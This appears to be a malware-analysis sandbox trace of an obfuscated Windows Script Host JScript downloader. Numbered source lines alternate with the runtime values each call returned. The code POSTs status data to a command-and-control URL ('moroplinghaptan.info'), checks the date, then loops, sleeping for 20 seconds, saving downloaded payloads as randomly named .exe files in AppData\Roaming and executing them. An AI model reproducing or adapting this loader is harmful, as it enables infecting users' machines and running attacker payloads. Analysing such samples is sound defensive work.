                                                        return fnKKibXddaWpHprbywvUWFbcFtjGlJqNCXDgohNGCNKVacFGHXeINlcmtEkQcbHkoujIAfOv + "-" + ( ( sNEsSPLqrvwnEsAQlQvNilRIKHLGZVvYkpjlEWKqgGHbKXmswseWfxPiCPdbiTrSnCuAYpAUkguQptbNIANxytzdHVFhzmvufLBdhPiegndFjPatLlRZVmXVTalKzCRkPEwthBlRVZmYViQZGAkKuNqJvpxFldsPQAjIqxxkQzsDEflSopiZhiAzY + 1 ) < 10 ? '0' + ( sNEsSPLqrvwnEsAQlQvNilRIKHLGZVvYkpjlEWKqgGHbKXmswseWfxPiCPdbiTrSnCuAYpAUkguQptbNIANxytzdHVFhzmvufLBdhPiegndFjPatLlRZVmXVTalKzCRkPEwthBlRVZmYViQZGAkKuNqJvpxFldsPQAjIqxxkQzsDEflSopiZhiAzY + 1 ) : ( sNEsSPLqrvwnEsAQlQvNilRIKHLGZVvYkpjlEWKqgGHbKXmswseWfxPiCPdbiTrSnCuAYpAUkguQptbNIANxytzdHVFhzmvufLBdhPiegndFjPatLlRZVmXVTalKzCRkPEwthBlRVZmYViQZGAkKuNqJvpxFldsPQAjIqxxkQzsDEflSopiZhiAzY + 1 ) ) + "-" + ( UdIqfkNFnmjNUYrYkNEGeFCIPegYJuVaBUOOCkoHAnetopTZVHnrxRshaYSSUkgqlheUbaT < 10 ? '0' + UdIqfkNFnmjNUYrYkNEGeFCIPegYJuVaBUOOCkoHAnetopTZVHnrxRshaYSSUkgqlheUbaT : UdIqfkNFnmjNUYrYkNEGeFCIPegYJuVaBUOOCkoHAnetopTZVHnrxRshaYSSUkgqlheUbaT ) + ' ' + jmwOSojkVUcHWToYjAncLjIhQEXGzPYtQfFWmalefbTuGEhtsaIqOfYcpmRHStnkpwiYVkmVnImwRoudLJPmogVfNvpxRrkJfWeyRdJVqmlLTbWZNLUFISRKwfBsRODiVrRdLNCyGbSIkdkAjDseSHZc.getHours ( ) + ':' + jmwOSojkVUcHWToYjAncLjIhQEXGzPYtQfFWmalefbTuGEhtsaIqOfYcpmRHStnkpwiYVkmVnImwRoudLJPmogVfNvpxRrkJfWeyRdJVqmlLTbWZNLUFISRKwfBsRODiVrRdLNCyGbSIkdkAjDseSHZc.getMinutes ( ) + ':' + jmwOSojkVUcHWToYjAncLjIhQEXGzPYtQfFWmalefbTuGEhtsaIqOfYcpmRHStnkpwiYVkmVnImwRoudLJPmogVfNvpxRrkJfWeyRdJVqmlLTbWZNLUFISRKwfBsRODiVrRdLNCyGbSIkdkAjDseSHZc.getSeconds ( );
                                                        • Wed Oct 4 09:34:26 UTC+0200 2017.getHours() ➔ 9
                                                        • Wed Oct 4 09:34:26 UTC+0200 2017.getMinutes() ➔ 34
                                                        • Wed Oct 4 09:34:26 UTC+0200 2017.getSeconds() ➔ 26
                                                        41
                                                        }
                                                          42
                                                          ;
                                                            43
                                                            function zuJwsvhnvyawISkRRTfrEHJCCLKfSOmjyLNdYeppzEXGNVRzgfrmXHbXOWuSOCbDJwkymQYSKjDVGzpjniYAcgqLVXjbdaybEOGaZiNcYqtVsXsxsWNvrOGkuHaXeXKdpnvpCzRGRxcTRWTbEdgyfbhUOiUBo(oGFvKqBodvnQqOocYjlnrcFwJrsvSjhilSxmOOXjrIblTFbXOYEcCIBXqViuLprlVXPqjflPcEfKxARzkxpd, NdLeFQgbupsUpjRQKNbLnvOqIbbTdKsrBtZStTxzrOtoPJXTFIEmWExOIklmkufopssCqoaLgfASnOUgyANggoTKVZvrJFbgRAzXsUgqoncBZwTmuGwGwTLaURQnJQRFSIFrKSaWkAykqXCSUfBEYIqXZVyxggiuLUPpfsWLdwdwhrla) {
                                                            • zuJwsvhnvyawISkRRTfrEHJCCLKfSOmjyLNdYeppzEXGNVRzgfrmXHbXOWuSOCbDJwkymQYSKjDVGzpjniYAcgqLVXjbdaybEOGaZiNcYqtVsXsxsWNvrOGkuHaXeXKdpnvpCzRGRxcTRWTbEdgyfbhUOiUBo("Save","Arguments are of the wrong type, are out of acceptable range, or are in conflict with one another.") ➔ false
                                                            44
                                                            var neuZClHKSEZeKUvLdoJYCIBSUdHEoTLUZdbKXRsNOcuwHBrNLFvKnxLHFkRQrTtYdgGrccIlJyzKgHdLHpdBAvjesDmALRfbtWt = new ActiveXObject ( "Msxml2.XMLHTTP" );
                                                              45
                                                              try
                                                                46
                                                                {
                                                                  47
                                                                  neuZClHKSEZeKUvLdoJYCIBSUdHEoTLUZdbKXRsNOcuwHBrNLFvKnxLHFkRQrTtYdgGrccIlJyzKgHdLHpdBAvjesDmALRfbtWt.open ( "POST", "http://moroplinghaptan.info/eroorrrs", false );
                                                                  • open("POST","http://moroplinghaptan.info/eroorrrs",false) ➔ undefined
                                                                  48
                                                                  neuZClHKSEZeKUvLdoJYCIBSUdHEoTLUZdbKXRsNOcuwHBrNLFvKnxLHFkRQrTtYdgGrccIlJyzKgHdLHpdBAvjesDmALRfbtWt.setRequestHeader ( "Content-Type", "text/html" );
                                                                  • setRequestHeader("Content-Type","text/html") ➔ undefined
                                                                  49
                                                                  neuZClHKSEZeKUvLdoJYCIBSUdHEoTLUZdbKXRsNOcuwHBrNLFvKnxLHFkRQrTtYdgGrccIlJyzKgHdLHpdBAvjesDmALRfbtWt.send ( '194459428' + ':::' + oGFvKqBodvnQqOocYjlnrcFwJrsvSjhilSxmOOXjrIblTFbXOYEcCIBXqViuLprlVXPqjflPcEfKxARzkxpd + ':::' + NdLeFQgbupsUpjRQKNbLnvOqIbbTdKsrBtZStTxzrOtoPJXTFIEmWExOIklmkufopssCqoaLgfASnOUgyANggoTKVZvrJFbgRAzXsUgqoncBZwTmuGwGwTLaURQnJQRFSIFrKSaWkAykqXCSUfBEYIqXZVyxggiuLUPpfsWLdwdwhrla );
                                                                  • send("194459428:::Save:::Arguments are of the wrong type, are out of acceptable range, or are in conflict with one another.") ➔ undefined
                                                                  50
                                                                  }
                                                                    51
                                                                    catch ( e )
                                                                      52
                                                                      {
                                                                        53
                                                                        return false;
                                                                          54
                                                                          }
                                                                            55
                                                                            }
                                                                              56
                                                                              var time = phThfQTHCsQcqyrazOpExbtfrRiwiyBBKcWHCQcGAhPkGPSEOiHhYBIycRohdujxpoZwvlEPjDDaasYLqpYLLGfqNwWjKQTrJyzaNvaQCKpYnXDVUxjseouWALRfIrLUgRHXwQDTrYWDkaenoOiZpGQUxUaffAVFLHsoKIrjl ( );
                                                                              • phThfQTHCsQcqyrazOpExbtfrRiwiyBBKcWHCQcGAhPkGPSEOiHhYBIycRohdujxpoZwvlEPjDDaasYLqpYLLGfqNwWjKQTrJyzaNvaQCKpYnXDVUxjseouWALRfIrLUgRHXwQDTrYWDkaenoOiZpGQUxUaffAVFLHsoKIrjl() ➔ "2017-10-04 9:34:26"
                                                                              57
                                                                              if ( time < '2018-09-28 09:52:05' )
                                                                                58
                                                                                {
                                                                                  59
                                                                                  var i = 0;
                                                                                    60
                                                                                    while (i < wtHCTXBiNQWAbLgZxsPCsvcODxAFltACnmkXXRJheHZnjOhXSutDdzmeRaLCBwPwbJotxPdGJjUFkTOlirqldCNBhJhoAIrYfbFpyCKfwOVGVoXezOdXtPOCEKgfLqOWWetswKjtCEzUjcGbDUzHAFQIkyxXvaxkRRBlOzeheslqFxTfz.length )
                                                                                      61
                                                                                      {
                                                                                        62
                                                                                        WScript.Sleep ( 20000 );
                                                                                        • Windows Script Host.Sleep(20000) ➔ undefined
                                                                                        63
                                                                                        var TBQmulrIGJJgDmGPbPsVyuVnRgfiKBikYBFFdGZlVFxGbGejKnPZADFnSkSleKmzFDdGsKgYCEwEPLmxsTXZctrhQOXxqacRTYaDdxySrlNRSVaYFUUfYKkLuJBZXJqQ = Math.floor ( ( Math.random ( ) * 2000 ) + 1000 );
                                                                                        • [object Math].random() ➔ 0.014130402757864035
                                                                                        • [object Math].floor(1028.2608055157281) ➔ 1028
                                                                                        64
                                                                                        var PKlGfpXcgKwylXDmjbCYWjFppBGQlItPIlLGGRUhzHnDEXbBDViHIEoEiSuflfeSWUNJOYPXDtTAy = GdDiHIOYqpVVYosXYRxyHBeGmoHvSjICPeTLtyRdwjrtskUhmSJOejTaoTmbLBDjWjswuDpDBFdpzZrbkcfcOXjgiKEtRBiIpXQuUsittZCZHtltmdrjPmkINaCiJPzZEwlqGwrLpKRJHVjZrAHqzcGwKqBxPNQWFJxpsYLdakjUivXOchuucdQjNZTVbstZQloirBDiJIxLVczeHraBUj ( );
                                                                                        • GdDiHIOYqpVVYosXYRxyHBeGmoHvSjICPeTLtyRdwjrtskUhmSJOejTaoTmbLBDjWjswuDpDBFdpzZrbkcfcOXjgiKEtRBiIpXQuUsittZCZHtltmdrjPmkINaCiJPzZEwlqGwrLpKRJHVjZrAHqzcGwKqBxPNQWFJxpsYLdakjUivXOchuucdQjNZTVbstZQloirBDiJIxLVczeHraBUj() ➔ "C:\Users\user\AppData\Roaming"
                                                                                        65
                                                                                        var kuBVKVRXVKyoLjnkbyzuwYlozlshDhlFgImjOPnmKEqlRIYfyunJDuVXjZChhSzxrNPySuVIDxUvJJJnJUFboBArQwDfgXGBQfTGXjBWhLKChJZjRTohDiRwXRTeqCbxvAcJvGFEygJrcJDmjmiiiVUvKJxuDifXNpWvBZSJTxVDKrWiuSdSOWobcqpBCyrPLwqRYKKOjGCQe = UiZBAJNGbeQqnFCnINgnTINnlgfUJKyScfWaALTobXAgiNJPyPmYFvqpAVuHdCTjavLtApFomuJuPZafGrErDcnUBldegAXVgbWqeLnqUANIAJmloRJfBuHtgxblTREQDSUbSADenESoteReGCqfijqnuZqlbNNIJFpZklNhhgtzIVffSJjAgkL ( wtHCTXBiNQWAbLgZxsPCsvcODxAFltACnmkXXRJheHZnjOhXSutDdzmeRaLCBwPwbJotxPdGJjUFkTOlirqldCNBhJhoAIrYfbFpyCKfwOVGVoXezOdXtPOCEKgfLqOWWetswKjtCEzUjcGbDUzHAFQIkyxXvaxkRRBlOzeheslqFxTfz[i], PKlGfpXcgKwylXDmjbCYWjFppBGQlItPIlLGGRUhzHnDEXbBDViHIEoEiSuflfeSWUNJOYPXDtTAy + '\\' + TBQmulrIGJJgDmGPbPsVyuVnRgfiKBikYBFFdGZlVFxGbGejKnPZADFnSkSleKmzFDdGsKgYCEwEPLmxsTXZctrhQOXxqacRTYaDdxySrlNRSVaYFUUfYKkLuJBZXJqQ + '.exe' );
                                                                                        • UiZBAJNGbeQqnFCnINgnTINnlgfUJKyScfWaALTobXAgiNJPyPmYFvqpAVuHdCTjavLtApFomuJuPZafGrErDcnUBldegAXVgbWqeLnqUANIAJmloRJfBuHtgxblTREQDSUbSADenESoteReGCqfijqnuZqlbNNIJFpZklNhhgtzIVffSJjAgkL("","C:\Users\user\AppData\Roaming\1028.exe") ➔ false
                                                                                        66
                                                                                        if ( kuBVKVRXVKyoLjnkbyzuwYlozlshDhlFgImjOPnmKEqlRIYfyunJDuVXjZChhSzxrNPySuVIDxUvJJJnJUFboBArQwDfgXGBQfTGXjBWhLKChJZjRTohDiRwXRTeqCbxvAcJvGFEygJrcJDmjmiiiVUvKJxuDifXNpWvBZSJTxVDKrWiuSdSOWobcqpBCyrPLwqRYKKOjGCQe )
                                                                                          67
                                                                                          {
                                                                                            68
                                                                                            GYPCSKFpNyTTgASpRrGPTqIUgYZAOeFTwaVVYdWQczXkZpdSujsHzoBZmFICZnPvqzGRNLPBKJkhtOZrmeuZaBHmTSSUenFiSiSf ( PKlGfpXcgKwylXDmjbCYWjFppBGQlItPIlLGGRUhzHnDEXbBDViHIEoEiSuflfeSWUNJOYPXDtTAy, TBQmulrIGJJgDmGPbPsVyuVnRgfiKBikYBFFdGZlVFxGbGejKnPZADFnSkSleKmzFDdGsKgYCEwEPLmxsTXZctrhQOXxqacRTYaDdxySrlNRSVaYFUUfYKkLuJBZXJqQ );
                                                                                              69
                                                                                              }
                                                                                                70
                                                                                                i ++;
                                                                                                  71
                                                                                                  }
                                                                                                    72
                                                                                                    }
                                                                                                      Reset < >